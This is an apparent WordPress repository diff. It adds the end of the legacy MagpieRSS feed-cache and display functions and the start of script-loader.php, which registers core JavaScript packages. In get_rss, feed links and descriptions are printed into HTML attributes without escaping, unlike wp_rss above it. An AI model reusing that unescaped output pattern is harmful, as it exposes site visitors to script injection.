+	public function RSSCache( $base = '', $age = '' ) {
+		self::__construct( $base, $age );
+	}
+
+/*=======================================================================*\
+	Function:	set
+	Purpose:	add an item to the cache, keyed on url
+	Input:		url from which the rss file was fetched
+	Output:		true on success
+\*=======================================================================*/
+	function set ($url, $rss) {
+		$cache_option = 'rss_' . $this->file_name( $url );
+
+		set_transient($cache_option, $rss, $this->MAX_AGE);
+
+		return $cache_option;
+	}
+
+/*=======================================================================*\
+	Function:	get
+	Purpose:	fetch an item from the cache
+	Input:		url from which the rss file was fetched
+	Output:		cached object on HIT, false on MISS
+\*=======================================================================*/
+	function get ($url) {
+		$this->ERROR = "";
+		$cache_option = 'rss_' . $this->file_name( $url );
+
+		if ( ! $rss = get_transient( $cache_option ) ) {
+			$this->debug(
+				"Cache doesn't contain: $url (cache option: $cache_option)"
+			);
+			return 0;
+		}
+
+		return $rss;
+	}
+
+/*=======================================================================*\
+	Function:	check_cache
+	Purpose:	check a url for membership in the cache
+				and whether the object is older then MAX_AGE (ie. STALE)
+	Input:		url from which the rss file was fetched
+	Output:		cached object on HIT, false on MISS
+\*=======================================================================*/
+	function check_cache ( $url ) {
+		$this->ERROR = "";
+		$cache_option = 'rss_' . $this->file_name( $url );
+
+		if ( get_transient($cache_option) ) {
+			// object exists and is current
+				return 'HIT';
+		} else {
+			// object does not exist
+			return 'MISS';
+		}
+	}
+
+/*=======================================================================*\
+	Function:	serialize
+\*=======================================================================*/
+	function serialize ( $rss ) {
+		return serialize( $rss );
+	}
+
+/*=======================================================================*\
+	Function:	unserialize
+\*=======================================================================*/
+	function unserialize ( $data ) {
+		return unserialize( $data );
+	}
+
+/*=======================================================================*\
+	Function:	file_name
+	Purpose:	map url to location in cache
+	Input:		url from which the rss file was fetched
+	Output:		a file name
+\*=======================================================================*/
+	function file_name ($url) {
+		return md5( $url );
+	}
+
+/*=======================================================================*\
+	Function:	error
+	Purpose:	register error
+\*=======================================================================*/
+	function error ($errormsg, $lvl=E_USER_WARNING) {
+		// append PHP's error message if track_errors enabled
+		if ( isset($php_errormsg) ) {
+			$errormsg .= " ($php_errormsg)";
+		}
+		$this->ERROR = $errormsg;
+		if ( MAGPIE_DEBUG ) {
+			trigger_error( $errormsg, $lvl);
+		}
+		else {
+			error_log( $errormsg, 0);
+		}
+	}
+			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
+		if ( MAGPIE_DEBUG ) {
+			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
+		}
+	}
+}
+
+if ( !function_exists('parse_w3cdtf') ) :
+function parse_w3cdtf ( $date_str ) {
+
+	# regex to match wc3dtf
+	$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";
+
+	if ( preg_match( $pat, $date_str, $match ) ) {
+		list( $year, $month, $day, $hours, $minutes, $seconds) =
+			array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);
+
+		# calc epoch for current date assuming GMT
+		$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);
+
+		$offset = 0;
+		if ( $match[11] == 'Z' ) {
+			# zulu time, aka GMT
+		}
+		else {
+			list( $tz_mod, $tz_hour, $tz_min ) =
+				array( $match[8], $match[9], $match[10]);
+
+			# zero out the variables
+			if ( ! $tz_hour ) { $tz_hour = 0; }
+			if ( ! $tz_min ) { $tz_min = 0; }
+
+			$offset_secs = (($tz_hour*60)+$tz_min)*60;
+
+			# is timezone ahead of GMT?  then subtract offset
+			#
+			if ( $tz_mod == '+' ) {
+				$offset_secs = $offset_secs * -1;
+			}
+
+			$offset = $offset_secs;
+		}
+		$epoch = $epoch + $offset;
+		return $epoch;
+	}
+	else {
+		return -1;
+	}
+}
+endif;
+
+if ( !function_exists('wp_rss') ) :
+/**
+ * Display all RSS items in a HTML ordered list.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL of feed to display. Will not auto sense feed URL.
+ * @param int $num_items Optional. Number of items to display, default is all.
+ */
+function wp_rss( $url, $num_items = -1 ) {
+	if ( $rss = fetch_rss( $url ) ) {
+		echo '<ul>';
+
+		if ( $num_items !== -1 ) {
+			$rss->items = array_slice( $rss->items, 0, $num_items );
+		}
+
+		foreach ( (array) $rss->items as $item ) {
+			printf(
+				'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
+				esc_url( $item['link'] ),
+				esc_attr( strip_tags( $item['description'] ) ),
+				esc_html( $item['title'] )
+			);
+		}
+
+		echo '</ul>';
+	} else {
+		_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
+	}
+}
+endif;
+
+if ( !function_exists('get_rss') ) :
+/**
+ * Display RSS items in HTML list items.
+ *
+ * You have to specify which HTML list you want, either ordered or unordered
+ * before using the function. You also have to specify how many items you wish
+ * to display. You can't display all of them like you can with wp_rss()
+ * function.
+ *
+ * @since 1.5.0
+ * @package External
+ * @subpackage MagpieRSS
+ *
+ * @param string $url URL of feed to display. Will not auto sense feed URL.
+ * @param int $num_items Optional. Number of items to display, default is all.
+ * @return bool False on failure.
+ */
+function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS
+	$rss = fetch_rss($url);
+	if ( $rss ) {
+		$rss->items = array_slice($rss->items, 0, $num_items);
+		foreach ( (array) $rss->items as $item ) {
+			echo "<li>\n";
+			echo "<a href='$item[link]' title='$item[description]'>";
+			echo esc_html($item['title']);
+			echo "</a><br />\n";
+			echo "</li>\n";
+		}
+	} else {
+		return false;
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/script-loader.php
===================================================================
--- /tags/5.0.20/src/wp-includes/script-loader.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/script-loader.php	(revision 56912)
@@ -0,0 +1,2443 @@
+<?php
+/**
+ * WordPress scripts and styles default loader.
+ *
+ * Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
+ * define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation,
+ * define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS,
+ * define('COMPRESS_SCRIPTS', false); disables compression of scripts,
+ * define('COMPRESS_CSS', false); disables compression of CSS,
+ * define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
+ *
+ * The globals $concatenate_scripts, $compress_scripts and $compress_css can be set by plugins
+ * to temporarily override the above settings. Also a compression test is run once and the result is saved
+ * as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
+ *
+ * @package WordPress
+ */
+
+/** WordPress Dependency Class */
+require( ABSPATH . WPINC . '/class-wp-dependency.php' );
+
+/** WordPress Dependencies Class */
+require( ABSPATH . WPINC . '/class.wp-dependencies.php' );
+
+/** WordPress Scripts Class */
+require( ABSPATH . WPINC . '/class.wp-scripts.php' );
+
+/** WordPress Scripts Functions */
+require( ABSPATH . WPINC . '/functions.wp-scripts.php' );
+
+/** WordPress Styles Class */
+require( ABSPATH . WPINC . '/class.wp-styles.php' );
+
+/** WordPress Styles Functions */
+require( ABSPATH . WPINC . '/functions.wp-styles.php' );
+
+/**
+ * Registers TinyMCE scripts.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ */
+function wp_register_tinymce_scripts( &$scripts, $force_uncompressed = false ) {
+	global $tinymce_version, $concatenate_scripts, $compress_scripts;
+	$suffix     = wp_scripts_get_suffix();
+	$dev_suffix = wp_scripts_get_suffix( 'dev' );
+
+	script_concat_settings();
+
+	$compressed = $compress_scripts && $concatenate_scripts && isset( $_SERVER['HTTP_ACCEPT_ENCODING'] )
+	              && false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && ! $force_uncompressed;
+
+	// Load tinymce.js when running from /src, otherwise load wp-tinymce.js.gz (in production) or
+	// tinymce.min.js (when SCRIPT_DEBUG is true).
+	if ( $compressed ) {
+		$scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . 'wp-tinymce.php', array(), $tinymce_version );
+	} else {
+		$scripts->add( 'wp-tinymce-root', includes_url( 'js/tinymce/' ) . "tinymce$dev_suffix.js", array(), $tinymce_version );
+		$scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . "plugins/compat3x/plugin$dev_suffix.js", array( 'wp-tinymce-root' ), $tinymce_version );
+	}
+
+	$scripts->add( 'wp-tinymce-lists', includes_url( "js/tinymce/plugins/lists/plugin$suffix.js" ), array( 'wp-tinymce' ), $tinymce_version );
+}
+
+/**
+ * Registers all the WordPress vendor scripts that are in the standardized
+ * `js/dist/vendor/` location.
+ *
+ * For the order of `$scripts->add` see `wp_default_scripts`.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ */
+function wp_default_packages_vendor( &$scripts ) {
+	global $wp_locale;
+
+	$suffix = wp_scripts_get_suffix();
+
+	$vendor_scripts = array(
+		'react' => array( 'wp-polyfill' ),
+		'react-dom' => array( 'react' ),
+		'moment',
+		'lodash',
+		'wp-polyfill-fetch',
+		'wp-polyfill-formdata',
+		'wp-polyfill-node-contains',
+		'wp-polyfill-element-closest',
+		'wp-polyfill',
+	);
+
+	$vendor_scripts_versions = array(
+		'react' => '16.6.3',
+		'react-dom' => '16.6.3',
+		'moment' => '2.22.2',
+		'lodash' => '4.17.21',
+		'wp-polyfill-fetch' => '3.0.0',
+		'wp-polyfill-formdata' => '3.0.12',
+		'wp-polyfill-node-contains' => '3.26.0-0',
+		'wp-polyfill-element-closest' => '2.0.2',
+		'wp-polyfill' => '7.0.0',
+	);
+
+	foreach ( $vendor_scripts as $handle => $dependencies ) {
+		if ( is_string( $dependencies ) ) {
+			$handle = $dependencies;
+			$dependencies = array();
+		}
+
+		$path    = "/wp-includes/js/dist/vendor/$handle$suffix.js";
+		$version = $vendor_scripts_versions[ $handle ];
+
+		$scripts->add( $handle, $path, $dependencies, $version, 1 );
+	}
+
+	$scripts->add( 'wp-polyfill', null, array( 'wp-polyfill' ) );
+	did_action( 'init' ) && $scripts->add_inline_script(
+		'wp-polyfill',
+		wp_get_script_polyfill(
+			$scripts,
+			array(
+				'\'fetch\' in window' => 'wp-polyfill-fetch',
+				'document.contains'   => 'wp-polyfill-node-contains',
+				'window.FormData && window.FormData.prototype.keys' => 'wp-polyfill-formdata',
+				'Element.prototype.matches && Element.prototype.closest' => 'wp-polyfill-element-closest',
+			)
+		)
+	);
+
+	did_action( 'init' ) && $scripts->add_inline_script( 'lodash', 'window.lodash = _.noConflict();' );
+
+	did_action( 'init' ) && $scripts->add_inline_script(
+		'moment',
+		sprintf(
+			"moment.locale( '%s', %s );",
+			get_user_locale(),
+			wp_json_encode(
+				array(
+					'months'         => array_values( $wp_locale->month ),
+					'monthsShort'    => array_values( $wp_locale->month_abbrev ),
+					'weekdays'       => array_values( $wp_locale->weekday ),
+					'weekdaysShort'  => array_values( $wp_locale->weekday_abbrev ),
+					'week'           => array(
+						'dow' => (int) get_option( 'start_of_week', 0 ),
+					),
+					'longDateFormat' => array(
+						'LT'   => get_option( 'time_format', __( 'g:i a', 'default' ) ),
+						'LTS'  => null,
+						'L'    => null,
+						'LL'   => get_option( 'date_format', __( 'F j, Y', 'default' ) ),
+						'LLL'  => __( 'F j, Y g:i a', 'default' ),
+						'LLLL' => null,
+					),
+				)
+			)
+		),
+		'after'
+	);
+}
+
+/**
+ * Returns contents of an inline script used in appending polyfill scripts for
+ * browsers which fail the provided tests. The provided array is a mapping from
+ * a condition to verify feature support to its polyfill script handle.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ * @param array      $tests   Features to detect.
+ * @return string Conditional polyfill inline script.
+ */
+function wp_get_script_polyfill( &$scripts, $tests ) {
+	$polyfill = '';
+	foreach ( $tests as $test => $handle ) {
+		if ( ! array_key_exists( $handle, $scripts->registered ) ) {
+			continue;
+		}
+
+		$src = $scripts->registered[ $handle ]->src;
+		$ver = $scripts->registered[ $handle ]->ver;
+
+		if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $scripts->content_url && 0 === strpos( $src, $scripts->content_url ) ) ) {
+			$src = $scripts->base_url . $src;
+		}
+
+		if ( ! empty( $ver ) ) {
+			$src = add_query_arg( 'ver', $ver, $src );
+		}
+
+		/** This filter is documented in wp-includes/class.wp-scripts.php */
+		$src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) );
+
+		if ( ! $src ) {
+			continue;
+		}
+
+		$polyfill .= (
+			// Test presence of feature...
+			'( ' . $test . ' ) || ' .
+			// ...appending polyfill on any failures. Cautious viewers may balk
+			// at the `document.write`. Its caveat of synchronous mid-stream
+			// blocking write is exactly the behavior we need though.
+			'document.write( \'<script src="' .
+			$src .
+			'"></scr\' + \'ipt>\' );'
+		);
+	}
+
+	return $polyfill;
+}
+
+/**
+ * Registers all the WordPress packages scripts that are in the standardized
+ * `js/dist/` location.
+ *
+ * For the order of `$scripts->add` see `wp_default_scripts`.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ */
+function wp_default_packages_scripts( &$scripts ) {
+	$suffix = wp_scripts_get_suffix();
+
+	$packages_versions = array(
+		'api-fetch' => '2.2.8',
+		'a11y' => '2.0.2',
+		'annotations' => '1.0.10',
+		'autop' => '2.0.2',
+		'blob' => '2.1.0',
+		'block-library' => '2.2.20',
+		'block-serialization-default-parser' => '2.0.5',
+		'blocks' => '6.0.8',
+		'components' => '7.0.10',
+		'compose' => '3.0.1',
+		'core-data' => '2.0.17',
+		'data' => '4.2.1',
+		'date' => '3.0.1',
+		'deprecated' => '2.0.5',
+		'dom' => '2.0.9',
+		'dom-ready' => '2.0.2',
+		'edit-post' => '3.1.13',
+		'editor' => '9.0.13',
+		'element' => '2.1.9',
+		'escape-html' => '1.0.1',
+		'format-library' => '1.2.16',
+		'hooks' => '2.0.5',
+		'html-entities' => '2.0.4',
+		'i18n' => '3.1.1',
+		'is-shallow-equal' => '1.1.5',
+		'keycodes' => '2.0.6',
+		'list-reusable-blocks' => '1.1.23',
+		'notices' => '1.1.3',
+		'nux' => '3.0.11',
+		'plugins' => '2.0.11',
+		'redux-routine' => '3.0.4',
+		'rich-text' => '3.0.9',
+		'shortcode' => '2.0.2',
+		'token-list' => '1.1.0',
+		'url' => '2.3.3',
+		'viewport' => '2.1.1',
+		'wordcount' => '2.0.3',
+	);
+
+	$packages_dependencies = array(
+		'api-fetch' => array( 'wp-polyfill', 'wp-hooks', 'wp-i18n', 'wp-url' ),
+		'a11y' => array( 'wp-dom-ready', 'wp-polyfill' ),
+		'annotations' => array(
+			'wp-data',
+			'wp-hooks',
+			'wp-i18n',
+			'wp-polyfill',
+			'wp-rich-text',
+		),
+		'autop' => array( 'wp-polyfill' ),
+		'blob' => array( 'wp-polyfill' ),
+		'blocks' => array(
+			'wp-autop',
+			'wp-blob',
+			'wp-block-serialization-default-parser',
+			'wp-data',
+			'wp-dom',
+			'wp-element',
+			'wp-hooks',
+			'wp-html-entities',
+			'wp-i18n',
+			'wp-is-shallow-equal',
+			'wp-polyfill',
+			'wp-shortcode',
+			'lodash',
+		),
+		'block-library' => array(
+			'editor',
+			'lodash',
+			'wp-api-fetch',
+			'wp-autop',
+			'wp-blob',
+			'wp-blocks',
+			'wp-components',
+			'wp-compose',
+			'wp-core-data',
+			'wp-data',
+			'wp-date',
+			'wp-editor',
+			'wp-element',
+			'wp-html-entities',
+			'wp-i18n',
+			'wp-keycodes',
+			'wp-polyfill',
+			'wp-url',
+			'wp-viewport',
+			'wp-rich-text',
+		),
+		'block-serialization-default-parser' => array(),
+		'components' => array(
+			'lodash',
+			'moment',
+			'wp-a11y',
+			'wp-api-fetch',
+			'wp-compose',
+			'wp-dom',
+			'wp-element',
+			'wp-hooks',
+			'wp-html-entities',
+			'wp-i18n',
+			'wp-is-shallow-equal',
+			'wp-keycodes',
+			'wp-polyfill',
+			'wp-rich-text',
+			'wp-url',
+		),
+		'compose' => array(
+			'lodash',
+			'wp-element',
+			'wp-is-shallow-equal',
+			'wp-polyfill'
+		),
+		'core-data' => array( 'wp-data', 'wp-api-fetch', 'wp-polyfill', 'wp-url', 'lodash' ),
+		'data' => array(
+			'lodash',
+			'wp-compose',
+			'wp-element',
+			'wp-is-shallow-equal',
+			'wp-polyfill',
+			'wp-redux-routine',
+		),
+		'date' => array( 'moment', 'wp-polyfill' ),
+		'deprecated' => array( 'wp-polyfill', 'wp-hooks' ),
+		'dom' => array( 'lodash', 'wp-polyfill', 'wp-tinymce' ),
+		'dom-ready' => array( 'wp-polyfill' ),
+		'edit-post' => array(
+			'jquery',
+			'lodash',
+			'postbox',
+			'media-models',
+			'media-views',
+			'wp-a11y',
+			'wp-api-fetch',
+			'wp-block-library',
+			'wp-blocks',
+			'wp-components',
+			'wp-compose',
+			'wp-core-data',
+			'wp-data',
+			'wp-dom-ready',
+			'wp-editor',
+			'wp-element',
+			'wp-embed',
+			'wp-i18n',
+			'wp-keycodes',
+			'wp-notices',
+			'wp-nux',
+			'wp-plugins',
+			'wp-polyfill',
+			'wp-url',
+			'wp-viewport',
+		),
+		'editor' => array(
+			'jquery',
+			'lodash',
+			'wp-tinymce-lists',
+			'wp-a11y',
+			'wp-api-fetch',
+			'wp-blob',
+			'wp-blocks',
+			'wp-components',
+			'wp-compose',
+			'wp-core-data',
+			'wp-data',
+			'wp-date',
+			'wp-deprecated',
+			'wp-dom',
+			'wp-element',
+			'wp-hooks',
+			'wp-html-entities',
+			'wp-i18n',
+			'wp-is-shallow-equal',
+			'wp-keycodes',
+			'wp-notices',
+			'wp-nux',
+			'wp-polyfill',
+			'wp-tinymce',
+			'wp-token-list',
+			'wp-url',
+			'wp-viewport',
+			'wp-wordcount',
+			'wp-rich-text',
+		),
+		'element' => array( 'wp-polyfill', 'react', 'react-dom', 'lodash', 'wp-escape-html' ),
+		'escape-html' => array( 'wp-polyfill' ),
+		'format-library' => array(
+			'wp-components',
+			'wp-dom',
+			'wp-editor',
+			'wp-element',
+			'wp-i18n',
+			'wp-keycodes',
+			'wp-polyfill',
+			'wp-rich-text',
+			'wp-url',
+		),
+		'hooks' => array( 'wp-polyfill' ),
+		'html-entities' => array( 'wp-polyfill' ),
+		'i18n' => array( 'wp-polyfill' ),
+		'is-shallow-equal' => array( 'wp-polyfill' ),
+		'keycodes' => array( 'lodash', 'wp-polyfill', 'wp-i18n' ),
+		'list-reusable-blocks' => array(
+			'lodash',
+			'wp-api-fetch',
+			'wp-components',
+			'wp-compose',
+			'wp-element',
+			'wp-i18n',
+			'wp-polyfill',
+		),
+		'notices' => array(
+			'lodash',
+			'wp-a11y',
+			'wp-data',
+			'wp-polyfill',
+		),
+		'nux' => array(
+			'wp-element',
+			'lodash',
+			'wp-components',
+			'wp-compose',
+			'wp-data',
+			'wp-i18n',
+			'wp-polyfill',
+			'lodash',
+		),
+		'plugins' => array( 'lodash', 'wp-compose', 'wp-element', 'wp-hooks', 'wp-polyfill' ),
+		'redux-routine' => array( 'wp-polyfill' ),
+		'rich-text' => array(
+			'lodash',
+			'wp-data',
+			'wp-escape-html',
+			'wp-polyfill',
+		),
+		'shortcode' => array( 'wp-polyfill', 'lodash' ),
+		'token-list' => array( 'lodash', 'wp-polyfill' ),
+		'url' => array( 'wp-polyfill' ),
+		'viewport' => array( 'wp-polyfill', 'wp-element', 'wp-data', 'wp-compose', 'lodash' ),
+		'wordcount' => array( 'wp-polyfill' ),
+	);
+
+	$package_translations = array(
+		'api-fetch' => 'default',
+		'blocks' => 'default',
+		'block-library' => 'default',
+		'components' => 'default',
+		'edit-post' => 'default',
+		'editor' => 'default',
+		'format-library' => 'default',
+		'keycodes' => 'default',
+		'list-reusable-blocks' => 'default',
+		'nux' => 'default',
+	);
+
+	foreach ( $packages_dependencies as $package => $dependencies ) {
+		$handle  = 'wp-' . $package;
+		$path    = "/wp-includes/js/dist/$package$suffix.js";
+		$version = $packages_versions[ $package ];
+
+		$scripts->add( $handle, $path, $dependencies, $version, 1 );
+
+		if ( isset( $package_translations[ $package ] ) ) {
+			$scripts->set_translations( $handle, $package_translations[ $package ] );
+		}
+	}
+}
+
+/**
+ * Adds inline scripts required for the WordPress JavaScript packages.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ */
+function wp_default_packages_inline_scripts( &$scripts ) {
+	global $wp_locale;
+
+	$scripts->add_inline_script(
+		'wp-api-fetch',
+		sprintf(
+			'wp.apiFetch.use( wp.apiFetch.createNonceMiddleware( "%s" ) );',
+			( wp_installing() && ! is_multisite() ) ? '' : wp_create_nonce( 'wp_rest' )
+		),
+		'after'
+	);
+	$scripts->add_inline_script(
+		'wp-api-fetch',
+		sprintf(
+			'wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "%s" ) );',
+			esc_url_raw( get_rest_url() )
+		),
+		'after'
+	);
+
+	$scripts->add_inline_script(
+		'wp-data',
+		implode(
+			"\n",
+			array(
+				'( function() {',
+				'	var userId = ' . get_current_user_ID() . ';',
+				'	var storageKey = "WP_DATA_USER_" + userId;',
+				'	wp.data',
+				'		.use( wp.data.plugins.persistence, { storageKey: storageKey } )',
+				'		.use( wp.data.plugins.controls );',
+				'} )()',
+			)
+		)
+	);
+
+	$scripts->add_inline_script(
+		'wp-date',
+		sprintf(
+			'wp.date.setSettings( %s );',
+			wp_json_encode(
+				array(
+					'l10n'     => array(
+						'locale'        => get_user_locale(),
+						'months'        => array_values( $wp_locale->month ),
+						'monthsShort'   => array_values( $wp_locale->month_abbrev ),
+						'weekdays'      => array_values( $wp_locale->weekday ),
+						'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),
+						'meridiem'      => (object) $wp_locale->meridiem,
+						'relative'      => array(
+							/* translators: %s: duration */
+							'future' => __( '%s from now' ),
+							/* translators: %s: duration */
+							'past'   => __( '%s ago' ),
+						),
+					),
+					'formats'  => array(
+						/* translators: Time format, see https://secure.php.net/date */
+						'time'                => get_option( 'time_format', __( 'g:i a' ) ),
+						/* translators: Date format, see https://secure.php.net/date */
+						'date'                => get_option( 'date_format', __( 'F j, Y' ) ),
+						/* translators: Date/Time format, see https://secure.php.net/date */
+						'datetime'            => __( 'F j, Y g:i a' ),
+						/* translators: Abbreviated date/time format, see https://secure.php.net/date */
+						'datetimeAbbreviated' => __( 'M j, Y g:i a' ),
+					),
+					'timezone' => array(
+						'offset' => get_option( 'gmt_offset', 0 ),
+						'string' => get_option( 'timezone_string', 'UTC' ),
+					),
+				)
+			)
+		),
+		'after'
+	);
+
+	// Loading the old editor and its config to ensure the classic block works as expected.
+	$scripts->add_inline_script(
+		'editor',
+		'window.wp.oldEditor = window.wp.editor;',
+		'after'
+	);
+}
+
+/**
+ * Adds inline scripts required for the TinyMCE in the block editor.
+ *
+ * These TinyMCE init settings are used to extend and override the default settings
+ * from `_WP_Editors::default_settings()` for the Classic block.
+ *
+ * @since 5.0.0
+ *
+ * @global WP_Scripts $wp_scripts
+ */
+function wp_tinymce_inline_scripts() {
+	global $wp_scripts;
+
+	/** This filter is documented in wp-includes/class-wp-editor.php */
+	$editor_settings = apply_filters( 'wp_editor_settings', array( 'tinymce' => true ), 'classic-block' );
+
+	$tinymce_plugins = array(
+		'charmap',
+		'colorpicker',
+		'hr',
+		'lists',
+		'media',
+		'paste',
+		'tabfocus',
+		'textcolor',
+		'fullscreen',
+		'wordpress',
+		'wpautoresize',
+		'wpeditimage',
+		'wpemoji',
+		'wpgallery',
+		'wplink',
+		'wpdialogs',
+		'wptextpattern',
+		'wpview',
+	);
+
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$tinymce_plugins = apply_filters( 'tiny_mce_plugins', $tinymce_plugins, 'classic-block' );
+	$tinymce_plugins = array_unique( $tinymce_plugins );
+
+	$disable_captions = false;
+	// Runs after `tiny_mce_plugins` but before `mce_buttons`.
+	/** This filter is documented in wp-admin/includes/media.php */
+	if ( apply_filters( 'disable_captions', '' ) ) {
+		$disable_captions = true;
+	}
+
+	$toolbar1 = array(
+		'formatselect',
+		'bold',
+		'italic',
+		'bullist',
+		'numlist',
+		'blockquote',
+		'alignleft',
+		'aligncenter',
+		'alignright',
+		'link',
+		'unlink',
+		'wp_more',
+		'spellchecker',
+		'wp_add_media',
+		'wp_adv',
+	);
+
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$toolbar1 = apply_filters( 'mce_buttons', $toolbar1, 'classic-block' );
+
+	$toolbar2 = array(
+		'strikethrough',
+		'hr',
+		'forecolor',
+		'pastetext',
+		'removeformat',
+		'charmap',
+		'outdent',
+		'indent',
+		'undo',
+		'redo',
+		'wp_help',
+	);
+
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$toolbar2 = apply_filters( 'mce_buttons_2', $toolbar2, 'classic-block' );
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$toolbar3 = apply_filters( 'mce_buttons_3', array(), 'classic-block' );
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$toolbar4 = apply_filters( 'mce_buttons_4', array(), 'classic-block' );
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$external_plugins = apply_filters( 'mce_external_plugins', array(), 'classic-block' );
+
+	$tinymce_settings = array(
+		'plugins'  => implode( ',', $tinymce_plugins ),
+		'toolbar1' => implode( ',', $toolbar1 ),
+		'toolbar2' => implode( ',', $toolbar2 ),
+		'toolbar3' => implode( ',', $toolbar3 ),
+		'toolbar4' => implode( ',', $toolbar4 ),
+		'external_plugins' => wp_json_encode( $external_plugins ),
+		'classic_block_editor' => true,
+	);
+
+	if ( $disable_captions ) {
+		$tinymce_settings['wpeditimage_disable_captions'] = true;
+	}
+
+	if ( ! empty( $editor_settings['tinymce'] ) && is_array( $editor_settings['tinymce'] ) ) {
+		array_merge( $tinymce_settings, $editor_settings['tinymce'] );
+	}
+
+	/* This filter is documented in wp-includes/class-wp-editor.php */
+	$tinymce_settings = apply_filters( 'tiny_mce_before_init', $tinymce_settings, 'classic-block' );
+
+	// Do "by hand" translation from PHP array to js object.
+	// Prevents breakage in some custom settings.
+	$init_obj = '';
+	foreach ( $tinymce_settings as $key => $value ) {
+		if ( is_bool( $value ) ) {
+			$val = $value ? 'true' : 'false';
+			$init_obj .= $key . ':' . $val . ',';
+			continue;
+		} elseif ( ! empty( $value ) && is_string( $value ) && (
+			( '{' == $value{0} && '}' == $value{strlen( $value ) - 1} ) ||
+			( '[' == $value{0} && ']' == $value{strlen( $value ) - 1} ) ||
+			preg_match( '/^\(?function ?\(/', $value ) ) ) {
+			$init_obj .= $key . ':' . $value . ',';
+			continue;
+		}
+		$init_obj .= $key . ':"' . $value . '",';
+	}
+
+	$init_obj = '{' . trim( $init_obj, ' ,' ) . '}';
+
+	$script = 'window.wpEditorL10n = {
+		tinymce: {
+			baseURL: ' . wp_json_encode( includes_url( 'js/tinymce' ) ) . ',
+			suffix: ' . ( SCRIPT_DEBUG ? '""' : '".min"' ) . ',
+			settings: ' . $init_obj . ',
+		}
+	}';
+
+	$wp_scripts->add_inline_script( 'wp-block-library', $script, 'before' );
+}
+
+/**
+ * Registers all the WordPress packages scripts.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ */
+function wp_default_packages( &$scripts ) {
+	wp_default_packages_vendor( $scripts );
+	wp_register_tinymce_scripts( $scripts );
+	wp_default_packages_scripts( $scripts );
+
+	if ( did_action( 'init' ) ) {
+		wp_default_packages_inline_scripts( $scripts );
+	}
+}
+
+/**
+ * Returns the suffix that can be used for the scripts.
+ *
+ * There are two suffix types, the normal one and the dev suffix.
+ *
+ * @since 5.0.0
+ *
+ * @param string $type The type of suffix to retrieve.
+ * @return string The script suffix.
+ */
+function wp_scripts_get_suffix( $type = '' ) {
+	static $suffixes;
+
+	if ( $suffixes === null ) {
+		include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+		$develop_src = false !== strpos( $wp_version, '-src' );
+
+		if ( ! defined( 'SCRIPT_DEBUG' ) ) {
+			define( 'SCRIPT_DEBUG', $develop_src );
+		}
+		$suffix = SCRIPT_DEBUG ? '' : '.min';
+		$dev_suffix = $develop_src ? '' : '.min';
+
+		$suffixes = array( 'suffix' => $suffix, 'dev_suffix' => $dev_suffix );
+	}
+
+	if ( $type === 'dev' ) {
+		return $suffixes['dev_suffix'];
+	}
+
+	return $suffixes['suffix'];
+}
+
+/**
+ * Register all WordPress scripts.
+ *
+ * Localizes some of them.
+ * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
+ * when last arg === 1 queues the script for the footer
+ *
+ * @since 2.6.0
+ *
+ * @param WP_Scripts $scripts WP_Scripts object.
+ */
+function wp_default_scripts( &$scripts ) {
+	$suffix = wp_scripts_get_suffix();
+	$dev_suffix = wp_scripts_get_suffix( 'dev' );
+
+	if ( ! $guessurl = site_url() ) {
+		$guessed_url = true;
+		$guessurl = wp_guess_url();
+	}
+
+	$scripts->base_url = $guessurl;
+	$scripts->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : '';
+	$scripts->default_version = get_bloginfo( 'version' );
+	$scripts->default_dirs = array('/wp-admin/js/', '/wp-includes/js/');
+
+
+	$scripts->add( 'utils', "/wp-includes/js/utils$suffix.js" );
+	did_action( 'init' ) && $scripts->localize( 'utils', 'userSettings', array(
+		'url' => (string) SITECOOKIEPATH,
+		'uid' => (string) get_current_user_id(),
+		'time' => (string) time(),
+		'secure' => (string) ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) ),
+	) );
+
+	$scripts->add( 'common', "/wp-admin/js/common$suffix.js", array('jquery', 'hoverIntent', 'utils'), false, 1 );
